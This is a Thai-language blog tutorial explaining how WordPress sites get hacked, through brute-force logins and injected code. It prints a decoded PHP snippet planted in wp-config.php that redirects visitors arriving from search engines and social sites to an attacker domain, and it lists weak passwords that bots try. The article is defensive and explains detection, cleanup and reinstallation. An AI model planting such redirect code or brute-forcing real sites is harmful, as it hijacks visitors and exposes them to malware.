WordPress เป็นเป้าหมายของการโดน Hack

WordPress and Digital marketing

สอน wordpress ถูก hack

WordPress กำลังเป็นเครื่องมือสำหรับสร้างเว็บไซต์แห่งยุคตัวหนึ่งที่ได้รับความนิยมอย่างล้นหลามทั่วโลก เว็บไซต์ดังๆหลายแห่งสร้างขึ้นโดยใช้ WordPress รวมทั้งเว็บไซต์ในประเทศไทย คลิกไปที่ไหนก็เจอเว็บที่สร้างด้วย WordPress เสียกว่า 50% (ประเมินส่วนตัว) และด้วยความที่เป็น CMS ยอดนิยม ก็ย่อมตกเป็นเป้าหมายของการโดน hack อย่างไม่น่าสงสัย ผู้ให้บริการชื่อดังอย่าง hostgator ประกาศเตือนผู้เช่า host ที่ใช้ WordPress ให้ระวังการถูกโจมตีโดยการ login แบบลองผิดลองถูกกับ username และ password (ที่เรียกว่า brute-force attack) โดย robot จากเครื่อง server กลุ่มหนึ่งที่ถูกเซตมาเพื่อโจมตีเว็บไซต์ที่ใช้ WordPress โดยเฉพาะ

โจมตีอย่างไร

robot เหล่านี้จะพยายาม login เข้าสู่ระบบโดยใช้ชื่อบัญชี admin เป็นหลักและลองรหัสผ่านง่ายๆ เช่น 123456, qazwsx, qwerty หรือลองจากคำง่ายๆเช่น happybirthday, bangkok, waterfall อะไรอย่างนี้เป็นต้น ซึ่งวิธีการอย่างนี้เกิดขึ้นได้กับทุกระบบ ไม่จำเป็นต้องเป็นเว็บไซต์ที่สร้างขึ้นด้วย WordPress (ขึ้นอยู่กับว่าเป็นเป้าหมายในการโจมตีหรือเปล่า) รูปต่อไปนี้คือความพยายามที่จะเจาะเข้ามา ซึ่งมีการสุ่มชื่อผู้ใช้ admin เป็นหลัก รวมทั้งชื่อง่ายๆอย่าง test, support เป็นต้น

wordpress-ถูก-hack-user

ก่อนที่จะไปถึงผลของการโดน hack ซึ่งอาจจะไม่ได้มาจากวิธีนี้ เรามีวิธีป้องกันกันการเดาสุ่ม username และ password ได้ง่ายๆโดยใช้ plugin ชื่อ limit login attempts ซึ่งเราสามารถเซตได้ว่าหากมีการ login ผิดจะต้องรออีกกี่นาทีถึงจะ login ครั้งต่อไปได้ แม้จะไม่ได้เป็นการป้องกันการโดน hack ได้ 100% เพราะหาก username และ password เดาได้ง่ายก็ถูกเจาะเข้ามาได้ง่ายเช่นกัน แต่เป็นการป้องกันไม่ให้มีการ login ผิดแบบถี่ๆ เป็นการหน่วงเวลาของ robot ซึ่งเป็นการลดโอกาสในการถูก hack ให้น้อยลง

อีกอย่าง username และ password ให้ใช้วิธีตั้งค่าให้ยาวๆ (8 ตัวอักษรขึ้นไป) และไม่ใช้คำสามัญ โดยเฉพาะ password ให้สร้างโดยใช้อักษรตัวเล็กตัวใหญ่ ผสมตัวเลข ผสมอักษรพิเศษ %$#@ เข้าไปก็จะช่วยได้อย่างมากมายมหาศาล

ผลของการโจมตีเป็นอย่างไร

ผลของการโจมตีนั้นสุดแสนจะคาดเดา เพราะหากถูก login เข้ามาได้ในฐานะ admin ก็ย่อมสามารถทำอะไรได้เหมือนกับที่เราทำ ตั้งแต่สร้างความหายนะคือการเปลี่ยนแปลงข้อมูล แก้ไขหน้าเว็บเพจ จนกระทั่งถึงลบข้อมูลทิ้ง แต่โดยทั่วไป การ hack เข้ามาจะกระทำโดย robot และจะทำอะไรก็ทำโดย robot (เว้นเสียแต่ว่าเราเป็นเป้าหมายจริงๆ จึงลงมือทำด้วยคน) ซึ่งจุดมุ่งหมายมักไม่ใช่การสร้างหายนะ แต่เป็นการวางยาเพื่อใช้เว็บไซต์ของเหยื่อเป็นฐานในการทำอะไรบางอย่าง

ตัวอย่าง WordPress ที่โดน hack

ตัวอย่างคลาสสิคที่หาก robot สามารถเจาะเข้ามาได้คือการเข้าไปแก้ไขไฟล์ /public_html/wp-config.php ซึ่งจะเป็นไฟล์ที่ถูกรันอยู่ตลอดเวลาเมื่อมีการเปิดเพจ โดยมีการใส่ code บางอย่างเข้าไป

wordpress-ถูก-hack-wp-config

จะสังเกตเห็นว่ามีการแทรกคำสั่ง php เอาไว้ ซึ่งจะถูกรันทุกครั้งที่มีการเปิดเพจใดเพจหนึ่ง สิ่งแปลกปลอมนี้คือคำสั่ง php ที่ถูกเข้ารหัสไว้ ซึ่งถ้าเราถอดรหัสออกมาก็จะได้คำสั่งประมาณนี้

error_reporting(0);
$qazplm=headers_sent();
if (!$qazplm){
$referer=$_SERVER[‘HTTP_REFERER’];
$uag=$_SERVER[‘HTTP_USER_AGENT’];
if ($uag) {
if (“yahoo”…”bing”…”rambler”…”gogo”…”live.com” …”aport”…”nigma”…”webalta”…”begun.ru”…”stumbleupon.com”…”bit.ly”…”tinyurl.com”…yandex…”google…
“myspace.com”…”facebook.com”) …”aol.com”) {
if (!stristr($referer,”cache”) or !stristr($referer,”inurl”)){
header(“Location: http://www.hacker-devil-destroy-and-annoy-god-dam.com/“);
exit();
}

ท่านที่ไม่ใช่โปรแกรมเมอร์ไม่ต้องตกใจครับ ไม่ต้องไปสนใจรายละเอียด จุดมุ่งหมายของโค้ดนี้คือ ถ้ามีคนไปเจอเพจใดเพจหนึ่งของเราผ่าน yahoo, bing, google หรือมีลิงค์จาก facebook, myspace หรืออะไรก็ตามที่ถูกดักไว้ ทันทีที่คนเห็นแล้วคลิก มันจะถูก redirect ไปที่เว็บไซต์เป้าหมายตามตัวอย่างคือ hacker-devil-destroy-and-annoy-god-dam ดอทคอม ซึ่งจะไม่มาที่เว็บไซต์ของเรา ความหมายก็คือ เราถูกขโมยผู้ชมไป และผู้ชม(ผู้คลิก)ก็เสี่ยงกับการถูกเว็บไซต์เหล่านี้ฝัง malware ไว้ในเครื่องเราอีกด้วย (รวมทั้งไวรัส) ซึ่งผลเสียก็จะเกิดกับความน่าเชื่อถือของเว็บไซต์เราด้วยในฐานะที่เป็นผู้เผยแพร่ malware โดยไม่รู้สึกตัว และผลที่ตามมาอีกก็คือ search engine ต่างๆจะลดอันดับเว็บไซต์ของเราเมื่อ robot ของมันเข้ามาแล้วถูก redirect ไปยังเว็บไซต์อื่น

จะรู้ได้อย่างไรว่าโดน hack แบบนี้

ถ้าเราเข้าเว็บไซต์ของเราตามปกติ เราจะไม่พบความผิดปกติอะไร เพราะจะเกิดขึ้นเมื่อมีการเข้าเว็บไซต์ของเราผ่านลิงค์จาก google, yahoo, bing, facebook, twitter หรือเว็บอะไรก็ตามที่โปรแกรมที่ฝังตัวอยู่เจาะจงไว้ จะรู้อีกทางหนึ่งก็คือมีคนบอก (ถ้าเป็นลูกค้ามาบอกว่าเว็บไซต์เราถูก hack ก็แย่หน่อย) อีกทางหนึ่งคือลองค้นหาเว็บไซต์ของเราผ่าน search engine แล้วดูว่ามัน redirect ไปที่อื่นหรือเปล่า แต่วิธีนี้อย่าลองเลย เสี่ยงซ้ำสอง ให้ไปใช้เว็บไซต์ sucuri.net ช่วยสแกนหาจะดีที่สุด ถ้าพบว่ามี code ที่น่าสงสัยอยู่ในไฟล์ใดไฟล์หนึ่งหรือหลายไฟล์มันก็จะแจ้งเตือนให้เราทราบ การแก้ไขเป็นหน้าที่ของเราหรือไม่ก็ซื้อบริการจากเว็บไซต์นั้น

อีกวิธีหนึ่งคือการใช้ plugin ที่จะช่วยสแกนหา code ที่น่าสงสัย ก็ได้เหมือนกัน แต่มันก็ช่วยค้นหา code ต้องสงสัยเท่านั้นนะครับ การตัดสินใจว่าจะทำอย่างไรต่อเป็นเรื่องของเรา

นอกจาก wp-config.php จะโดนที่ไฟล์อื่นได้ไหม

wp-config.php มักจะเป็นเป้าหมายเพราะเป็นไฟล์แรกที่ WordPress จะรันทุกครั้งที่มีการเปิดเพจใดเพจหนึ่ง แต่ไฟล์อื่นๆก็โดนได้เหมือนกัน เช่น wp-settings.php และ /wp-includes/pluggable.php จริงๆในทางเทคนิคทุกไฟล์โดนได้หมด ต่างกันที่เงื่อนไขในการทำงานเท่านั้น

เจอแล้วจะแก้ไขอย่างไร

หากพบว่าโดน hack ลักษณะนี้ การแก้ไขก็เพียงลบมันออกซะ ซึ่งอาจจะใช้ NodePad++ หรือใช้ Editor ของ WordPress ลบก็ได้ แต่ต้องแน่ใจว่าเป็น code ประหลาดจริงๆ ไม่ใช่ code ของ WordPress หรือของ plugin ที่ใช้อยู่ โดยทั่วไปแล้ว plugin มักจะมี code ลักษณะนี้แฝงอยู่ด้วยเหตุผลทางการตลาดและทางด้านเทคนิคซึ่งถ้าเป็น plugin ที่น่าเชื่อถือก็ไม่เป็นปัญหาอะไร อันนี้เป็นเหตุผลหนึ่งที่ว่าอย่าใช้ plugin ฟรีจากเว็บไซต์ที่ไม่รู้จักดีพอ

Theme ฟรีบางตัวก็มีการฝัง code ลักษณะนี้ไว้แถวๆ footer ของ theme ซึ่งเมื่อแปลงมาเป็นคำสั่ง php แล้วก็คือ backlinks ไปยังเว็บไซต์ของเขา อันนี้ไม่ถือเป็น code ผิดปกติอะไร เพราะมักอยู่ในเงื่อนไขการใช้ theme ฟรีของเขา

สำหรับยูสเซอร์ธรรมดาอ่านวิธีการข้างต้นแล้วคงส่ายหน้าไม่เข้าใจ เอาง่ายๆอย่างนี้ถ้ารู้ตัวว่าโดนแฮคก็ให้ใช้วิธี  “ลบออกแล้วลงใหม่” ฟังดูแล้วน่ากลัว แต่มันก็คือการลง WordPress ใหม่นั่นเอง ข้อดีคือไม่ต้องไปสแกนให้ยุ่งยากหรือหาโค้ดประหลาดแล้วลบออกทีละไฟล์ วิธีนี้เหมาะสำหรับผู้ที่ไม่ใช่โปรแกรมเมอร์ (จริงๆโปรแกรมเมอร์ก็ควรใช้) เพราะเป็นการล้างไพ่เสียเวลาลงใหม่ ดีกว่าไปเสียเวลาสแกนแล้วลบ ทำตามวิธีในบทความต่อไปนี้

การอัพเดต WordPress

ถ้าถูกแฮคทางอื่นล่ะ

ตอนต้นได้กล่าวไว้แล้วว่าการโจมตีด้วยการเดา username และ password แบบปูพรมของ robot (จนถึงตอนนี้ 9 กค. 2013) ยังมีอยู่อย่างต่อเนื่อง เว็บไซต์ในประเทศไทยที่ใช้ WordPress ก็โดนโจมตีอย่างนี้รายวัน บางท่านอาจตั้งคำถามว่าก็ป้องกันโดยการตั้งรหัสผ่านแบบยาวๆถึง 12 หลักแล้ว เปลี่ยน username จาก admin และใช้ plugin หน่วงเวลาการเดาผิดก็แล้ว ทำไมยังถูกแฮค คำตอบก็คือ คุณถูกแฮคด้วยวิธีอื่น

การเดาสุ่มมักจะได้ผลกับ username ที่เป็น admin และรหัสผ่านสั้นๆ วิธีการอื่นก็คือการเจาะเข้ามาผ่านเบราเซอร์ที่เราใช้ ซึ่งก็คือพวก malware และไวรัสที่เราอาจไปติดมาจากเว็บใดเว็บหนึ่ง หรือจากโปรแกรมที่ละเมิดลิขสิทธิ์ต่างๆ ซึ่งจะติดตั้งไวรัสประเภทที่คอยดัก username และ password เวลาที่เราเข้าเว็บต่างๆ เช่น facebook, twitter รวมทั้ง WordPress โดยที่มันจะส่งรหัสของเราไปให้เว็บไซต์ของแฮคเกอร์เพื่อเก็บไว้ในฐานข้อมูลแล้วย้อนกลับมาล็อกอินต่อไป

อีกทางหนึ่งก็คือแฮคเข้ามาทางโฮสต์ที่เราเช่าอยู่ เช่นแฮคเอารหัสของ cPanel, DirectAdmin, FTP เป็นต้น อันนี้ไม่อยู่ในขอบเขตที่เราจะป้องกัน เป็นหน้าที่ของโฮสต์ที่เราเช่าอยู่ ถ้าคิดว่ามาทางนี้ก็ต้องติดต่อให้เขาช่วยตรวจสอบให้

สรุป

ถ้าโดนแฮคก็อย่าตกใจ สิ่งที่ต้องทำก็คือการกู้คืนทุกอย่างให้คืนสู่สถานะเดิม หาให้ได้ก่อนว่าถูกแฮคในระดับเราหรือระดับโฮสต์ ถ้าอยู่ในระดับเราเช่น ตั้งรหัสผ่านง่ายไป หรือเครื่องติดไวรัสหรือมี malware ที่ทำให้เชื่อว่า robot ของแฮคเกอร์ได้รหัสผ่านของเราไป (สังเกตดูว่าเว็บอื่นๆของเราเช่น mail, facebook, twitter โดนแฮคด้วยหรือเปล่า หรือมีอะไรผิดสังเกตหรือเปล่า) ก็ให้แก้ไขด้วยการ “ลบออกแล้วลงใหม่” ข้างต้น และ restore ฐานข้อมูลเดิมที่สำรองไว้ล่าสุด

แต่หากโดนแฮคในระดับโฮสต์ ต้องติดต่อโฮสต์ให้แก้ไข เพราะกู้คืนไปก็ถูกแฮคกลับมาเหมือนเดิมอยู่ดี